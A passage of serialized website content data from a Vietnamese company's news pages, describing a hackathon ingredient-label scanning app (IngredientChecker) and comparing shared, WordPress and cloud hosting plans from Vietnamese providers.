EasyMedicine",{"title":66,"searchDepth":67,"depth":67,"links":11894},[11895,11896,11897,11898,11899,11900,11901,11902,11903,11904],{"id":11472,"depth":1417,"text":11473},{"id":11505,"depth":1417,"text":11506},{"id":11538,"depth":1417,"text":11539},{"id":11592,"depth":1417,"text":11593},{"id":11638,"depth":1417,"text":11639},{"id":11765,"depth":1417,"text":11766},{"id":11813,"depth":1417,"text":11814},{"id":11837,"depth":1417,"text":11838},{"id":11858,"depth":1417,"text":11859},{"id":11868,"depth":1417,"text":11869},[6940,1429],"2023-03-03",{},"\u002Fvi\u002Fnews\u002Fhackathon-team3",{"title":11395,"description":11400},"vi\u002Fnews\u002Fhackathon-team3","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F20134143\u002F336245884_743305260576068_3192087576342334151_n-2048x694.png","zF6CiCETHM4KmNKXbD2iFq-tQ78K4XALU0I9j_4vFzY",{"id":11914,"title":11915,"body":11916,"category":12085,"created by":70,"date":11386,"description":11924,"extension":72,"meta":12086,"navigation":74,"path":12087,"sections":76,"seo":12088,"stem":12089,"thumbnail":12090,"__hash__":12091},"content_vi\u002Fvi\u002Fnews\u002Fhackathon-ung-dung-ingredientchecker.md","[Hackathon] Ứng dụng IngredientChecker",{"type":8,"value":11917,"toc":12076},[11918,11922,11925,11928,11934,11939,11942,11947,11950,11953,11958,11961,11966,11969,11972,11976,11993,11997,12005,12009,12023,12027,12047,12051,12054,12058,12069],[498,11919,11921],{"id":11920},"giới-thiệu-về-ingredientchecker","Giới thiệu về IngredientChecker",[11,11923,11924],{},"Trong thời đại công nghệ thông tin 4.0, nhiều người tiêu dùng đã bắt đầu sử dụng công nghệ để cải thiện chất lượng sống của mình. Sức khỏe là tiêu chí hàng đầu, ngày nay trên thế giới xuất hiện rất nhiều sản phẩm khác nhau thuộc các nhóm khác nhau như skin-care, nutri food, medicine, v..v.. Tuy nhiên, trong số chúng đa phần đều chứa các thành phần hóa học mà đại đa số người dùng bình thường không biết rõ về công dụng hay tác dụng phụ của chúng. IngredientChecker ra đời để hỗ trợ giải quyết vấn đề này.",[11,11926,11927],{},"Sau đây hãy đến với chi tiết hơn về ứng dụng.",[498,11929,11931],{"id":11930},"công-nghệ-phát-triển-ứng-dụng",[20,11932,11933],{},"Công nghệ phát triển ứng dụng",[11,11935,11936],{},[20,11937,11938],{},"NodeJs",[11,11940,11941],{},"Một platform quen thuộc, tính năng mạnh mẽ phù hợp với một ứng dụng định hướng đa nền tảng.",[11,11943,11944],{},[20,11945,11946],{},"Google cloud vision (GCV)",[11,11948,11949],{},"Google Cloud Vision API cung cấp khả năng nhận dạng text, hình ảnh mạnh mẽ dựa trên AI mà google đã training sẵn. Rất dễ dàng tích hợp vào sản phẩm để phát triển.",[11,11951,11952],{},"Chúng tôi tích hợp GCV để nhận dạng những thành phần hóa học trên nhãn sản phẩm. GCV cung cấp một tốc độ nhận dạng nhanh và chính xác.",[11,11954,11955],{},[20,11956,11957],{},"OpenAI",[11,11959,11960],{},"Tích hợp API ChatGPT. Để tăng độ chính xác, sẽ cho OpenAI nhận diện nội dung text xem có phải là là thành phần hóa học hay không và tiến hành loại bỏ các text dư thừa.",[11,11962,11963],{},[20,11964,11965],{},"Progressive Web App (PWA)",[11,11967,11968],{},"Progressive Web App (PWA) được tích hợp để người dùng có thể cài đặt app trực tiếp từ website.  Nó mang lại cảm giác sử dụng giống như các Native app mà chúng ta cài đặt từ ChPlay hay App store.",[11,11970,11971],{},"Ưu điểm là thời gian phát triển ngắn, không cần code riêng phiên bản web và phiên bản mobile app.",[498,11973,11975],{"id":11974},"những-tính-năng-chính-của-ứng-dụng","Những tính năng chính của ứng dụng",[31,11977,11978,11981,11984,11987,11990],{},[34,11979,11980],{},"Truy xuất hình ảnh từ camera, thư viện ảnh hoặc bộ nhớ lưu trữ",[34,11982,11983],{},"Nhận dạng text từ thông tin Ingredients trên nhãn sản phẩm",[34,11985,11986],{},"Tìm kiếm và lọc những thông tin cần thiết rồi trả về",[34,11988,11989],{},"Các thông tin dữ liệu trả về sẽ được lưu trữ ở bộ nhớ client, server sẽ không lưu bất cứ thông tin gì",[34,11991,11992],{},"Hỗ trợ ngôn ngữ EN - VI",[498,11994,11996],{"id":11995},"đối-tượng-sử-dụng","Đối tượng sử dụng",[31,11998,11999,12002],{},[34,12000,12001],{},"Là những người dùng thường xuyên sử dụng những sản phẩm như skincare hoặc một số sản phẩm khác như thuốc, thực phẩm chức năng và cần quan tâm đến các thành phần có trong sản phẩm để hướng tới mục đích sử dụng",[34,12003,12004],{},"Là những người hay nhạy cảm thành phần hóa học và cần tìm hiểu những thành phần để tránh bị tác dụng phụ",[498,12006,12008],{"id":12007},"lợi-ích-mang-lại","Lợi ích mang lại",[31,12010,12011,12014,12017,12020],{},[34,12012,12013],{},"Tiết kiệm thời gian thay vì tìm kiếm dữ liệu từng thành phần trên các công cụ tìm kiếm online",[34,12015,12016],{},"Bởi bì dữ liệu trả về được lưu trữ trên bộ nhớ thiết bị, nên có thể xem lại kết quả các thành phần đã tìm kiếm trước đó",[34,12018,12019],{},"Có thể sử dụng hầu hết trên mọi thiết bị",[34,12021,12022],{},"Giao diện thân thiện, dễ sử dụng",[498,12024,12026],{"id":12025},"tính-năng-mở-rộng-cho-phiên-bản-sau","Tính năng mở rộng cho phiên bản sau",[31,12028,12029,12032,12035,12038,12041,12044],{},[34,12030,12031],{},"Có thể hỡ trợ nhiều ngôn ngữ",[34,12033,12034],{},"Quản lý user thông qua cho phép đăng nhập tài khoản",[34,12036,12037],{},"Hỗ trợ tìm kiếm sản phẩm trên thị trường với giá tốt nhất",[34,12039,12040],{},"Cải thiện tính năng tìm kiếm, đưa ra kết quả với độ chính xác và hiệu suất cao",[34,12042,12043],{},"Nhận dạng được nhiều loại format từ nhiều loại sản phẩm khác nhau",[34,12045,12046],{},"Tính năng tổng hợp đánh giá về sản phẩm từ nhiều trang bán hàng khác nhau, để xem mức độ tin cậy của sản phẩm",[498,12048,12050],{"id":12049},"hướng-dẫn-sử-dụng","Hướng dẫn sử dụng",[11,12052,12053],{},"Với 3 bước đơn giản như sau:",[533,12055],{"className":12056,"alt":66,"src":12057,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F07085856\u002FStep-768x335.png",[11,12059,12060,12061],{},"Demo và link app:\n",[12062,12063,12065],"video",{"controls":74,"style":12064},"max-width: 50%; height: auto; display: block; margin: 0 auto;",[6896,12066],{"src":12067,"type":12068},"https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F02153100\u002FDemoIngredientChecker.mp4","video\u002Fmp4",[11,12070,12071,12072],{},"Link: ",[58,12073,12075],{"href":12067,"rel":12074},[62],"https:\u002F\u002Fingredient-checker.briswell-vn.com\u002F",{"title":66,"searchDepth":67,"depth":67,"links":12077},[12078,12079,12080,12081,12082,12083,12084],{"id":11920,"depth":67,"text":11921},{"id":11930,"depth":67,"text":11933},{"id":11974,"depth":67,"text":11975},{"id":11995,"depth":67,"text":11996},{"id":12007,"depth":67,"text":12008},{"id":12025,"depth":67,"text":12026},{"id":12049,"depth":67,"text":12050},[6940,1429],{},"\u002Fvi\u002Fnews\u002Fhackathon-ung-dung-ingredientchecker",{"title":11915,"description":11924},"vi\u002Fnews\u002Fhackathon-ung-dung-ingredientchecker","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F07084009\u002Fback-ground-768x432.jpg","ym0k3-8R7C_OQ9aFXfZ2kheCRGpoi7x-CG_jpDYx-uo",{"id":12093,"title":12094,"body":12095,"category":1430,"created by":70,"date":13922,"description":13923,"extension":72,"meta":13924,"navigation":74,"path":13925,"sections":76,"seo":13926,"stem":13927,"thumbnail":13928,"__hash__":13929},"content_vi\u002Fvi\u002Fnews\u002Fhosting-vietnam-2021.md","Các dịch vụ lưu trữ ở Việt Nam",{"type":8,"value":12096,"toc":13887},[12097,12101,12104,12107,12111,12115,12118,12121,12125,12128,12131,12134,12137,12141,12149,12152,12166,12169,12174,12182,12185,12198,12201,12206,12214,12217,12230,12233,12241,12249,12252,12272,12275,12280,12284,12288,12461,12464,12468,12622,12624,12628,12781,12783,12787,13012,13016,13020,13049,13053,13060,13064,13068,13230,13234,13238,13349,13353,13455,13459,13463,13467,13598,13602,13730,13734,13857,13859,13866,13873,13880],[490,12098,12100],{"id":12099},"hosting-là-gì","Hosting là gì",[11,12102,12103],{},"Hosting (hay web hosting) là một dịch vụ online giúp bạn xuất bản website hoặc ứng dụng web lên Internet. Khi bạn đăng ký dịch vụ hosting, tức là bạn thuê mộ chỗ đặt trên server chứa tất cả các files và dữ liệu cần thiết để website của bạn chạy được.",[11,12105,12106],{},"Một server là một máy tính vật lý chạy không gián đoạn để website của bạn có thể luôn hoạt động mọi lúc cho tất cả mọi người truy cập vào. Nhà cung cấp Web Hosting của bạn chịu trách nhiệm cho việc giữ server hoạt động, và chuyển nội dung (văn bản, hình ảnh, files) từ server xuống trình duyệt người dùng.",[490,12108,12110],{"id":12109},"shared-hosing","Shared Hosing",[498,12112,12114],{"id":12113},"ưu-điểm","Ưu điểm",[11,12116,12117],{},"Không quá khó khăn để quản lý được dịch vụ này, không đòi hỏi bạn phải có quá nhiều kiến thức liên quan.",[11,12119,12120],{},"Giá thành rẻ so với nhiều dịch vụ khác.",[498,12122,12124],{"id":12123},"nhược-điểm","Nhược điểm",[11,12126,12127],{},"Trong trường hợp tài nguyên của máy chủ phân chia một cách không hợp lý sẽ dẫn đến việc tốc độ website chạy nhanh, có website chạy chậm. Nếu một website có lượng truy cập lớn thì các website còn lại sẽ bị chậm.",[11,12129,12130],{},"Do có nhiều người dùng sử dụng trên một phần trên một máy chủ nên dễ bị tấn công cục bộ nếu nó không được bảo mật cao.",[11,12132,12133],{},"Bị giới hạn về dung lượng sử dụng nên cấu hình của nó không được cao. Dịch vụ lưu trữ có khả năng cấm người dùng cài đặt một số loại plugin hoặc ứng dụng nhất định trên website của họ.",[11,12135,12136],{},"Các nhà cung cấp dịch vụ lưu trữ có quyền chấm dứt tài khoản của người sử dụng vì nhiều lý do. Chẳng hạn như nếu một trang web thu được lượng lưu lượng truy cập lớn ảnh hưởng đến những người dùng khác, tài khoản có thể bị đóng.",[490,12138,12140],{"id":12139},"các-dịch-vụ-lưu-trữ-sharing-hosting","Các dịch vụ lưu trữ sharing hosting",[498,12142,12144],{"id":12143},"fpt",[58,12145,12148],{"href":12146,"rel":12147},"https:\u002F\u002Fdata.fpt.vn\u002Fen\u002Fhome.html",[62],"FPT",[657,12150,12114],{"id":12151},"ưu-điểm-1",[31,12153,12154,12157,12160,12163],{},[34,12155,12156],{},"Tốc độ ổn định, ít lỗi",[34,12158,12159],{},"Bảo mật tốt",[34,12161,12162],{},"Quá trình đăng ký nhanh chóng",[34,12164,12165],{},"Hỗ trợ 24\u002F7",[657,12167,12124],{"id":12168},"nhược-điểm-1",[31,12170,12171],{},[34,12172,12173],{},"Giá thành cao",[498,12175,12177],{"id":12176},"viettel",[58,12178,12181],{"href":12179,"rel":12180},"http:\u002F\u002Fviettelidc.com.vn",[62],"Viettel",[657,12183,12114],{"id":12184},"ưu-điểm-2",[31,12186,12187,12190,12193,12196],{},[34,12188,12189],{},"Dịch vụ phong phú",[34,12191,12192],{},"Bảo vệ dữ liệu",[34,12194,12195],{},"Chi phí hợp lý",[34,12197,12165],{},[657,12199,12124],{"id":12200},"nhược-điểm-2",[31,12202,12203],{},[34,12204,12205],{},"Chưa hỗ trợ các gói hosting cài đặt sẵn các ứng dụng như Wordpress hay Joomla.",[498,12207,12209],{"id":12208},"pa-vietnam",[58,12210,12213],{"href":12211,"rel":12212},"https:\u002F\u002Fpavietnam.com\u002Fen\u002F",[62],"PA VIETNAM",[657,12215,12114],{"id":12216},"ưu-điểm-3",[31,12218,12219,12222,12225,12228],{},[34,12220,12221],{},"Tốc độ ổn định cho người dùng",[34,12223,12224],{},"Chỉ số uptime đạt yêu cầu",[34,12226,12227],{},"Bảo mật website với SSL miễn phí và sao lưu tự động hàng tuần",[34,12229,12165],{},[657,12231,12124],{"id":12232},"nhược-điểm-3",[31,12234,12235,12238],{},[34,12236,12237],{},"Cpanel không có các auto-installler",[34,12239,12240],{},"Chính sách hoàn tiền ngặt nghèo",[498,12242,12244],{"id":12243},"mắt-bão",[58,12245,12248],{"href":12246,"rel":12247},"https:\u002F\u002Fwww.matbao.net\u002F?lg=EN",[62],"Mắt Bão",[657,12250,12114],{"id":12251},"ưu-điểm-4",[31,12253,12254,12263,12266,12269],{},[34,12255,12256,12257,12262],{},"Nhà đăng ký tên miền top 2 tại Việt Nam (sau PA Việt Nam vào năm 2017) ( Tham khảo ",[58,12258,12261],{"href":12259,"rel":12260},"https:\u002F\u002Fwww.digistar.vn\u002Ftop-5-nha-dang-ky-ten-mien-viet-nam-2016\u002F",[62],"ở đây"," )",[34,12264,12265],{},"Datacenter được xây dựng một cách hoàn toàn mới ở Cộng Hòa.",[34,12267,12268],{},"Thương hiệu đã nổi tiếng và có tính ổn định từ lâu",[34,12270,12271],{},"Có thêm lựa chọn hạ tầng máy chủ hosting đặt tại Singapore",[657,12273,12124],{"id":12274},"nhược-điểm-4",[31,12276,12277],{},[34,12278,12279],{}," Hệ thống không hỗ trợ việc backup dữ liệu dự phòng cho khách hàng mà phải chủ động sao lưu dữ liệu hoặc mua gói dịch vụ backup này nếu có nhu cầu",[490,12281,12283],{"id":12282},"so-sánh-gói-dịch-vụ-sharing-hosting-của-các-nhà-cung-cấp","So sánh gói dịch vụ sharing hosting của các nhà cung cấp",[657,12285,12287],{"id":12286},"hosting-basic","Hosting Basic :",[371,12289,12290,12311],{},[374,12291,12292],{},[377,12293,12294,12296,12301,12306],{},[380,12295],{},[380,12297,12299],{"align":12298},"center",[20,12300,12148],{},[380,12302,12303],{"align":12298},[20,12304,12305],{},"PA VN",[380,12307,12308],{"align":12298},[20,12309,12310],{},"VIETTEL",[396,12312,12313,12327,12341,12355,12367,12379,12390,12401,12412,12424,12436,12449],{},[377,12314,12315,12318,12321,12324],{},[401,12316,12317],{},"Gói",[401,12319,12320],{"align":12298},"Giga Plus",[401,12322,12323],{"align":12298},"BÁN CHUYÊN NGHIỆP",[401,12325,12326],{"align":12298},"HOST PRO 3",[377,12328,12329,12332,12335,12338],{},[401,12330,12331],{},"Giá (VNĐ\u002F Tháng )",[401,12333,12334],{"align":12298},"129.000",[401,12336,12337],{"align":12298},"142.000",[401,12339,12340],{"align":12298},"110.000",[377,12342,12343,12346,12349,12352],{},[401,12344,12345],{},"Dung lương (*)",[401,12347,12348],{"align":12298},"5 GB",[401,12350,12351],{"align":12298},"20 GB",[401,12353,12354],{"align":12298},"1.5 GB",[377,12356,12357,12360,12363,12365],{},[401,12358,12359],{},"Lưu lượng truyền tải",[401,12361,12362],{"align":12298},"Không giới hạn",[401,12364,12362],{"align":12298},[401,12366,12362],{"align":12298},[377,12368,12369,12372,12374,12377],{},[401,12370,12371],{},"Sub-domain",[401,12373,12362],{"align":12298},[401,12375,12376],{"align":12298},"30",[401,12378,12362],{"align":12298},[377,12380,12381,12384,12386,12388],{},[401,12382,12383],{},"Addon Domain",[401,12385,403],{"align":12298},[401,12387,414],{"align":12298},[401,12389,403],{"align":12298},[377,12391,12392,12395,12397,12399],{},[401,12393,12394],{},"Tài khoản FTP",[401,12396,12362],{"align":12298},[401,12398,12362],{"align":12298},[401,12400,12362],{"align":12298},[377,12402,12403,12406,12408,12410],{},[401,12404,12405],{},"Database: SQL\u002FMySQL",[401,12407,414],{"align":12298},[401,12409,457],{"align":12298},[401,12411,425],{"align":12298},[377,12413,12414,12417,12420,12422],{},[401,12415,12416],{},"Tài khỏan email",[401,12418,12419],{"align":12298},"15",[401,12421,12362],{"align":12298},[401,12423,446],{"align":12298},[377,12425,12426,12429,12432,12434],{},[401,12427,12428],{},"Control Panel",[401,12430,12431],{"align":12298},"●",[401,12433,12431],{"align":12298},[401,12435,12431],{"align":12298},[377,12437,12438,12441,12444,12446],{},[401,12439,12440],{},"SSL",[401,12442,12443],{"align":12298},"x",[401,12445,12431],{"align":12298},[401,12447,12448],{"align":12298}," x",[377,12450,12451,12454,12457,12459],{},[401,12452,12453],{},"Ngôn ngữ",[401,12455,12456],{"align":12298},"ASP\u002FASP.net\u002FPHP",[401,12458,12456],{"align":12298},[401,12460,12456],{"align":12298},[11,12462,12463],{},"(*) : Có thể mua thêm theo nhu cầu và bảng giá riêng của từng nhà cung cấp",[657,12465,12467],{"id":12466},"hosting-premium","Hosting Premium",[371,12469,12470,12488],{},[374,12471,12472],{},[377,12473,12474,12476,12480,12484],{},[380,12475],{},[380,12477,12478],{"align":12298},[20,12479,12148],{},[380,12481,12482],{"align":12298},[20,12483,12305],{},[380,12485,12486],{"align":12298},[20,12487,12310],{},[396,12489,12490,12503,12516,12528,12538,12548,12558,12568,12579,12590,12600,12610],{},[377,12491,12492,12494,12497,12500],{},[401,12493,12317],{},[401,12495,12496],{"align":12298},"Giga Extrem",[401,12498,12499],{"align":12298},"HOST PRO 4",[401,12501,12502],{"align":12298},"HOST PRO 6",[377,12504,12505,12507,12510,12513],{},[401,12506,12331],{},[401,12508,12509],{"align":12298},"359.000",[401,12511,12512],{"align":12298},"475.000",[401,12514,12515],{"align":12298},"300.000",[377,12517,12518,12520,12523,12525],{},[401,12519,12345],{},[401,12521,12522],{"align":12298},"4 GB",[401,12524,12351],{"align":12298},[401,12526,12527],{"align":12298},"10 GB",[377,12529,12530,12532,12534,12536],{},[401,12531,12359],{},[401,12533,12362],{"align":12298},[401,12535,12362],{"align":12298},[401,12537,12362],{"align":12298},[377,12539,12540,12542,12544,12546],{},[401,12541,12371],{},[401,12543,12362],{"align":12298},[401,12545,12376],{"align":12298},[401,12547,12362],{"align":12298},[377,12549,12550,12552,12554,12556],{},[401,12551,12383],{},[401,12553,425],{"align":12298},[401,12555,425],{"align":12298},[401,12557,425],{"align":12298},[377,12559,12560,12562,12564,12566],{},[401,12561,12394],{},[401,12563,12362],{"align":12298},[401,12565,436],{"align":12298},[401,12567,12362],{"align":12298},[377,12569,12570,12572,12574,12576],{},[401,12571,12405],{},[401,12573,436],{"align":12298},[401,12575,467],{"align":12298},[401,12577,12578],{"align":12298},"8",[377,12580,12581,12583,12586,12588],{},[401,12582,12416],{},[401,12584,12585],{"align":12298},"25",[401,12587,12362],{"align":12298},[401,12589,12376],{"align":12298},[377,12591,12592,12594,12596,12598],{},[401,12593,12453],{},[401,12595,12456],{"align":12298},[401,12597,12456],{"align":12298},[401,12599,12456],{"align":12298},[377,12601,12602,12604,12606,12608],{},[401,12603,12440],{},[401,12605,12443],{"align":12298},[401,12607,12431],{"align":12298},[401,12609,12443],{"align":12298},[377,12611,12612,12615,12618,12620],{},[401,12613,12614],{},"Backup",[401,12616,12617],{"align":12298},"Hàng tuần",[401,12619,12617],{"align":12298},[401,12621,12617],{"align":12298},[11,12623,12463],{},[657,12625,12627],{"id":12626},"hosting-super","Hosting Super",[371,12629,12630,12648],{},[374,12631,12632],{},[377,12633,12634,12636,12640,12644],{},[380,12635],{},[380,12637,12638],{"align":12298},[20,12639,12148],{},[380,12641,12642],{"align":12298},[20,12643,12305],{},[380,12645,12646],{"align":12298},[20,12647,12310],{},[396,12649,12650,12663,12676,12688,12698,12708,12719,12729,12739,12751,12761,12771],{},[377,12651,12652,12654,12657,12660],{},[401,12653,12317],{},[401,12655,12656],{"align":12298},"Giga Super",[401,12658,12659],{"align":12298},"SUPERHOST 4 (Best seller )",[401,12661,12662],{"align":12298},"Host12GB",[377,12664,12665,12667,12670,12673],{},[401,12666,12331],{},[401,12668,12669],{"align":12298},"489.000 (25.000VND\u002F1GB thêm vào )",[401,12671,12672],{"align":12298},"3.780.000 (97.000VND\u002F5GB\u002F3 tháng thêm vào)",[401,12674,12675],{"align":12298},"360.000  ( Không có thông tin về việc đăng ký bổ sung dung lượng )",[377,12677,12678,12680,12682,12685],{},[401,12679,12345],{},[401,12681,12348],{"align":12298},[401,12683,12684],{"align":12298},"200 GB",[401,12686,12687],{"align":12298},"12 GB",[377,12689,12690,12692,12694,12696],{},[401,12691,12359],{},[401,12693,12362],{"align":12298},[401,12695,12362],{"align":12298},[401,12697,12362],{"align":12298},[377,12699,12700,12702,12704,12706],{},[401,12701,12371],{},[401,12703,12362],{"align":12298},[401,12705,12376],{"align":12298},[401,12707,12362],{"align":12298},[377,12709,12710,12712,12714,12717],{},[401,12711,12383],{},[401,12713,436],{"align":12298},[401,12715,12716],{"align":12298},"10",[401,12718,436],{"align":12298},[377,12720,12721,12723,12725,12727],{},[401,12722,12394],{},[401,12724,12362],{"align":12298},[401,12726,12716],{"align":12298},[401,12728,12362],{"align":12298},[377,12730,12731,12733,12735,12737],{},[401,12732,12405],{},[401,12734,446],{"align":12298},[401,12736,12376],{"align":12298},[401,12738,12578],{"align":12298},[377,12740,12741,12743,12746,12749],{},[401,12742,12416],{},[401,12744,12745],{"align":12298},"40",[401,12747,12748],{"align":12298},"1500",[401,12750,12376],{"align":12298},[377,12752,12753,12755,12757,12759],{},[401,12754,12453],{},[401,12756,12456],{"align":12298},[401,12758,12456],{"align":12298},[401,12760,12456],{"align":12298},[377,12762,12763,12765,12767,12769],{},[401,12764,12440],{},[401,12766,12443],{"align":12298},[401,12768,12431],{"align":12298},[401,12770,12443],{"align":12298},[377,12772,12773,12775,12777,12779],{},[401,12774,12614],{},[401,12776,12617],{"align":12298},[401,12778,12617],{"align":12298},[401,12780,12617],{"align":12298},[11,12782,12463],{},[490,12784,12786],{"id":12785},"so-sánh-gói-dịch-vụ-hosting-wordpress-của-các-nhà-cung-cấp","So sánh gói dịch vụ hosting wordpress của các nhà cung cấp",[371,12788,12789,12808],{},[374,12790,12791],{},[377,12792,12793,12795,12800,12802,12806],{},[380,12794],{},[380,12796,12797],{"align":12298},[20,12798,12799],{},"Hosting Basic",[380,12801],{"align":12298},[380,12803,12804],{"align":12298},[20,12805,12467],{},[380,12807],{"align":12298},[396,12809,12810,12833,12849,12866,12883,12896,12910,12924,12936,12949,12962,12974,12987,13000],{},[377,12811,12812,12815,12820,12825,12829],{},[401,12813,12814],{},"Nhà cung cấp",[401,12816,12817],{"align":12298},[20,12818,12819],{},"PA Việt Nam",[401,12821,12822],{"align":12298},[20,12823,12824],{},"Mắt bão",[401,12826,12827],{"align":12298},[20,12828,12819],{},[401,12830,12831],{"align":12298},[20,12832,12824],{},[377,12834,12835,12837,12840,12843,12846],{},[401,12836,12317],{},[401,12838,12839],{"align":12298},"WORDPRESS PRO #3",[401,12841,12842],{"align":12298},"DOANH NGHIỆP",[401,12844,12845],{"align":12298},"WORDPRESS VIP #4",[401,12847,12848],{"align":12298},"Tối Ưu",[377,12850,12851,12854,12857,12860,12863],{},[401,12852,12853],{},"Giá ( VNĐ\u002F Tháng)",[401,12855,12856],{"align":12298},"223.000",[401,12858,12859],{"align":12298},"299.000",[401,12861,12862],{"align":12298},"1.049.000",[401,12864,12865],{"align":12298},"499.000",[377,12867,12868,12871,12874,12877,12880],{},[401,12869,12870],{},"Dung lượng",[401,12872,12873],{"align":12298},"25 GB",[401,12875,12876],{"align":12298},"15 GB",[401,12878,12879],{"align":12298},"35 GB",[401,12881,12882],{"align":12298},"40 GB",[377,12884,12885,12888,12890,12892,12894],{},[401,12886,12887],{},"Băng thông",[401,12889,12362],{"align":12298},[401,12891,12362],{"align":12298},[401,12893,12362],{"align":12298},[401,12895,12362],{"align":12298},[377,12897,12898,12901,12904,12906,12908],{},[401,12899,12900],{},"MySQL\u002F MariaDB",[401,12902,12903],{"align":12298},"20",[401,12905,457],{"align":12298},[401,12907,467],{"align":12298},[401,12909,12716],{"align":12298},[377,12911,12912,12915,12917,12920,12922],{},[401,12913,12914],{},"Sub domain",[401,12916,12362],{"align":12298},[401,12918,12919],{"align":12298},"Không có thông tin",[401,12921,12362],{"align":12298},[401,12923,12919],{"align":12298},[377,12925,12926,12928,12930,12932,12934],{},[401,12927,12383],{},[401,12929,457],{"align":12298},[401,12931,12919],{"align":12298},[401,12933,436],{"align":12298},[401,12935,12919],{"align":12298},[377,12937,12938,12941,12943,12945,12947],{},[401,12939,12940],{},"Park Domain",[401,12942,12362],{"align":12298},[401,12944,12362],{"align":12298},[401,12946,12362],{"align":12298},[401,12948,12362],{"align":12298},[377,12950,12951,12954,12956,12958,12960],{},[401,12952,12953],{},"Đa phiên bản PHP (5.x đến  7.x)",[401,12955,12431],{"align":12298},[401,12957,12431],{"align":12298},[401,12959,12431],{"align":12298},[401,12961,12431],{"align":12298},[377,12963,12964,12966,12968,12970,12972],{},[401,12965,12440],{},[401,12967,12431],{"align":12298},[401,12969,12431],{"align":12298},[401,12971,12431],{"align":12298},[401,12973,12431],{"align":12298},[377,12975,12976,12979,12981,12983,12985],{},[401,12977,12978],{},"Redis Cache",[401,12980,12431],{"align":12298},[401,12982,12431],{"align":12298},[401,12984,12431],{"align":12298},[401,12986,12431],{"align":12298},[377,12988,12989,12992,12994,12996,12998],{},[401,12990,12991],{},"HTTP\u002F2",[401,12993,12431],{"align":12298},[401,12995,12431],{"align":12298},[401,12997,12431],{"align":12298},[401,12999,12431],{"align":12298},[377,13001,13002,13004,13006,13008,13010],{},[401,13003,12614],{},[401,13005,12431],{"align":12298},[401,13007,12431],{"align":12298},[401,13009,12431],{"align":12298},[401,13011,12431],{"align":12298},[490,13013,13015],{"id":13014},"hosting-cloud","Hosting Cloud",[498,13017,13019],{"id":13018},"ưu-điểm-của-cloud-hosting","Ưu điểm của Cloud Hosting",[31,13021,13022,13025,13028,13031,13034,13037,13040,13043,13046],{},[34,13023,13024],{},"Mở rộng hoặc giảm được nhanh chóng: Cloud Hosting cho phép chúng ta thêm được các tài nguyên vào một cách nhanh chóng khi người dùng đang cần và giảm xuống khi người dùng không cần dùng nữa. Người dùng họ chỉ trả cho những gì mà mình sử dụng thực tế, nhưng luôn có thể nâng cấp resource khi có nhiều nhu cầu hơn.",[34,13026,13027],{},"Đáng tin cậy do không phụ thuộc bất kì phần cứng nào",[34,13029,13030],{},"Chỉ số uptime cho website lên đến 99.99%.",[34,13032,13033],{},"Quản lý đầy đủ: Cloud Hosting nó sẽ bao gồm thực hiện các bản vá lỗi và giám sát hệ điều hành, cũng như tường lửa bảo mật, back-up dữ liệu từ các hạ tầng điện toán đám mây công nghệ cao.",[34,13035,13036],{},"Nền tảng Windows hoặc Linux: Cloud Hosting cũng hỗ trợ cả hai môi trường hệ điều hành đó là Windows hoặc Linux. Chính vì vậy, tất cả người dùng phát triển trên Microsoft SQL Server hoặc mysql, IIS hoặc apache, PHP hoặc ASP.NET… đều tương thích.",[34,13038,13039],{},"Tính sẵn sàng: Không giống như các hệ thống hosting khác, cloud hosting giúp người dùng dễ dàng xử lý và kiểm soát cơ sở dữ liệu mọi lúc mọi nơi. Hơn nữa, hệ thống này còn tự động nâng cấp và được cập nhật liên tục 24\u002F7.",[34,13041,13042],{},"Đảm bảo an toàn và bảo mật: Người dùng hoàn toàn có thể yên tâm khi sử dụng Cloud Hosting bởi dịch vụ này giúp họ tối ưu hóa an ninh cho tất cả hệ thống dữ liệu nội bộ của bạn.",[34,13044,13045],{},"Khả năng nâng cấp phát triển không giới hạn: Khách hàng có thể nâng cấp và phát triển gói dịch vụ liên tục tùy theo nhu cầu của từng doanh nghiệp mà không gặp bất cứ trở ngại nào cả.",[34,13047,13048],{},"Ủy thác quá trình vận hành cho đội ngũ chuyên nghiệp: Đội ngũ chuyên viên với đầy đủ trình độ và khả năng chuyên môn cao sẽ giúp bạn vận hành hệ thống Cloud hosting tốt nhất. Đồng thời, hệ thống này còn hỗ trợ doanh nghiệp bất cứ khi nào họ gặp khó khăn.",[498,13050,13052],{"id":13051},"nhược-điểm-của-cloud-hosting","Nhược điểm của Cloud hosting",[11,13054,13055,13056,13059],{},"Gói dịch vụ ",[20,13057,13058],{},"Cloud hosting"," có mức giá lại đắt hơn một chút so với các loại hosting thông thường khác. Nhưng khi xét về tính lâu dài thì Cloud hosting vẫn lợi ích hơn nhiều. Mặc dù có tính bảo mật cao hơn VPS, nhưng so với các máy chủ riêng thì cloud server vẫn khó mà an toàn. Khi một website bị hack, thì tất cả những website nằm trên cùng 1 cloud server cũng sẽ bị ảnh hưởng.",[498,13061,13063],{"id":13062},"dịch-vụ-cloud-hosting-của-nhà-cung-cấp-mắt-bão","Dịch vụ cloud hosting của nhà cung cấp mắt bão",[498,13065,13067],{"id":13066},"hiện-nay-chỉ-có-mắt-bão-hỗ-trợ-cho-dịch-vụ-cloud-hosting","( Hiện nay chỉ có mắt bão hỗ trợ cho dịch vụ cloud hosting)",[371,13069,13070,13092],{},[374,13071,13072],{},[377,13073,13074,13076,13082,13087],{},[380,13075],{},[380,13077,13078,13079],{"align":12298},"### ",[20,13080,13081],{},"Cloud Host 1 (Windows)",[380,13083,13078,13084],{"align":12298},[20,13085,13086],{},"Cloud Host 4 (Windows)",[380,13088,13078,13089],{"align":12298},[20,13090,13091],{},"Cloud Host 6 (Windows)",[396,13093,13094,13108,13119,13133,13144,13155,13166,13177,13188,13199,13210,13220],{},[377,13095,13096,13099,13102,13105],{},[401,13097,13098],{},"Giá ( 